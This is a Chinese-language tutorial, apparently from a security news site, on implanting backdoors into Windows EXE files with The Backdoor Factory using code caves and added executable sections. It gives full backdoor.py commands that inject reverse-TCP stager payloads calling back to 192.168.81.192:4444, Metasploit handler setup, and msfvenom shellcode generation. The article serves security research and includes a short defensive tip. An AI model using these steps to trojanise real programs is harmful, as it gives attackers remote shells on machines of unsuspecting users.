當前位置:
首頁 > 新聞 > 利用BDF向EXE文件植入後門

利用BDF向EXE文件植入後門

0x00 前言

The Backdoor Factory可用來向可執行文件植入後門,修改程序執行流程,執行添加的payload。

本文將要介紹向EXE文件植入後門的原理,測試The Backdoor Factory植入後門的方法,分析細節,總結思路。

The Backdoor Factory下載地址:

https://github.com/secretsquirrel/the-backdoor-factory

0x01 簡介

本文將要介紹如下內容:

·EXE文件後門植入原理

·實際測試The Backdoor Factory

·分析The Backdoor Factory功能

0x02 基礎知識

PE文件格式:

參考資料:

https://en.wikibooks.org/wiki/X86_Disassembly/Windows_Executable_Files

Code Caves:

參考資料:

https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves

Code Caves的直觀認識:

使用vc6.0生成exe文件,查看文件中可利用的Code Caves

c代碼:

#include "stdafx.h"#include #include int array[200]=;char array2[200]="123456789ABCDEF";int main(int argc, char* argv[])

Release編譯生成文件,使用Immunity Debugger打開

View-Memory(快捷鍵Alt+M)

如下圖

hello.exe包含四個區段,分別為PE header、.text、.rdata和.data

查看hello.exe的.data段

如下圖

發現大段的0x00數據,這些位置可被替換成payload

0x03 文件後門植入原理

植入原理

修改程序的執行流程,跳轉到Code Caves,執行payload,再返回至程序的正常流程

需要注意的是程序默認只有.text段具有執行許可權,如果將payload添加到其他段(如.data或.rdata),需要將該段添加執行許可權

註:

實際使用可通過跳轉多個Code Caves拼湊執行payload

利用思路

1、新加區段,許可權為可讀可寫可執行(RWE)

可使用工具LordPE

手動添加可參考資料:

https://www.exploit-db.com/docs/42061.pdf

優點:

簡單直接,不需要考慮文件Code Caves的大小

缺點:

增加文件長度

2、使用Code Caves

搜索已有區段,尋找是否存在可用的Code Caves,對於不可執行的區段,還需要添加可執行許可權

優點:

不改變文件大小

缺點:

需要考慮Code Caves的大小是否滿足payload長度

0x04 實際測試The Backdoor Factory

Kali 2.0默認集成The Backdoor Factory,路徑為usr/share/backdoor-factory

測試系統選為Kali 2.0

為便於測試,測試exe代碼如下:

#include #include int array[200]=;char array2[200]="123456789ABCDEF";int main(int argc, char* argv[])

程序輸出hello world後暫停

下面挑選The Backdoor Factory中常見的功能進行介紹

1、檢查該文件是否適用於The Backdoor Factory

./backdoor.py -f test.exe -S

輸出如下:

[*] Checking if binary is supported[*] Gathering file info[*] Reading win32 entry instructionstest.exe is supported.

2、獲取該文件的可用payload

./backdoor.py -f test.exe -s show

輸出如下圖

可用payload如下:

·cave_miner_inline·iat_reverse_tcp_inline·iat_reverse_tcp_inline_threaded·iat_reverse_tcp_stager_threaded·iat_user_supplied_shellcode_threaded·meterpreter_reverse_https_threaded·reverse_shell_tcp_inline·reverse_tcp_stager_threaded·user_supplied_shellcode_threaded

名稱解析:

cave_miner_inline:

作為payload模板,長度為135,僅實現了控制流程跳轉,不做其他操作,可用作自定義開發shellcode的模板

反彙編的payload格式如下圖

reverse_shell_tcp_inline:

對應meterpreter server:

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp

meterpreter_reverse_https_threaded:

對應meterpreter server:

use exploit/multi/handlerset payload windows/meterpreter/reverse_https

iat_reverse_tcp_inline中的iat:

iat為Import Address Table(導入地址表)的縮寫,如果PE文件的IAT不包含API LoadLibraryA和GetProcAddress,直接執行payload reverse_shell_tcp_inline會失敗,iat_reverse_tcp_inline增加了修復IAT的功能,避免執行失敗

user_supplied_shellcode_threaded:

自定義payload,payload可通過msf生成

3、搜索該文件可用的Code Caves

./backdoor.py -f test.exe -c

如果payload長度為703,那麼Code Caves需要滿足長度大於703,參數如下:

./backdoor.py -f test.exe -c -l 703

輸出如下圖

共找到三個可供利用的位置:

No section->Begin Cave 0x240->End of Cave 0x1000Size of Cave (int) 3520**************************************************No section->Begin Cave 0x693a->End of Cave 0x700cSize of Cave (int) 1746**************************************************We have a winner: .data->Begin Cave 0x7051->End of Cave 0x7350Size of Cave (int) 767SizeOfRawData 0x1000PointerToRawData 0x7000End of Raw Data: 0x8000

輸出的地址為相對虛擬地址(Relative Virtual Address),即相對於文件頭(基地址Image Base)的偏移地址

在內存中的實際地址(虛擬地址Virtual Address)=Image Base+RVA

使用Immunity Debugger查看內存結構,進行驗證

內存結構如下圖

(1)

No section

->Begin Cave 0x240

->End of Cave 0x1000

Size of Cave (int) 3520

查看內存地址數據如下圖

(2)

No section

->Begin Cave 0x693a

->End of Cave 0x700c

Size of Cave (int) 1746

內存中實際地址為0x0040693a-0x0040700c,位於.rdata段中,默認許可權為R

查看內存地址數據如下圖

(3)

We have a winner: .data

->Begin Cave 0x7051

->End of Cave 0x7350

Size of Cave (int) 767

查看內存地址數據如下圖

可以看到,通過The Backdoor Factory找到的Code Caves均符合要求

4、添加payload

這裡選用reverse_tcp_stager_threaded進行測試,payload長度為703

Server:

use exploit/multi/handlerset payload windows/meterpreter/reverse_tcp

(1) 添加新區段,保存payload

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -a -o test1.exe

新區段名稱為.sdata,許可權為RWE

如下圖

若指定新添加區段名稱為aaa,參數如下:

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -a -n aaa -o test1.exe

(2) payload保存到.data段中

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -o test2.exe

根據提示選擇.data段

.data段許可權更改為RWE,如下圖

如下圖

(3) payload保存到其他段中

./backdoor.py -f test.exe -H 192.168.81.192 -P 4444 -s reverse_tcp_stager_threaded -o test3.exe

根據提示選擇PE header,如下圖

執行會報錯,需要對其進行修復

可使用工具nasm_shell將彙編代碼轉換為十六進位數據

Kali2.0默認集成nasm_shell

工具使用如下圖

(4) 自定義payload

生成payload:

msfvenom -p windows/messagebox -f raw >msg.bin

添加payload:

./backdoor.py -f test.exe -s user_supplied_shellcode_threaded -U msg.bin -o test4.exe

測試如下圖

0x05 小結

本文介紹了使用The Backdoor Factory向EXE文件植入後門的方法,利用Code Caves能夠不改變原文件的大小。

當然,該利用方法已經被殺毒軟體查殺,本文介紹的內容僅作技術研究。

站在防禦的角度,下載文件時需要多加註意,只從可信源下載程序,同時校驗文件hash。


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

微軟office DDE攻擊與防禦
Web App攻擊之使用Web Scarab工具搜索目標
壞兔子來襲,安天智甲有效防護
這名黑客說,他能看到明星整容前的樣子
Petya昨日重現:Bad Rabbit勒索病毒突襲東歐

TAG:嘶吼RoarTalk |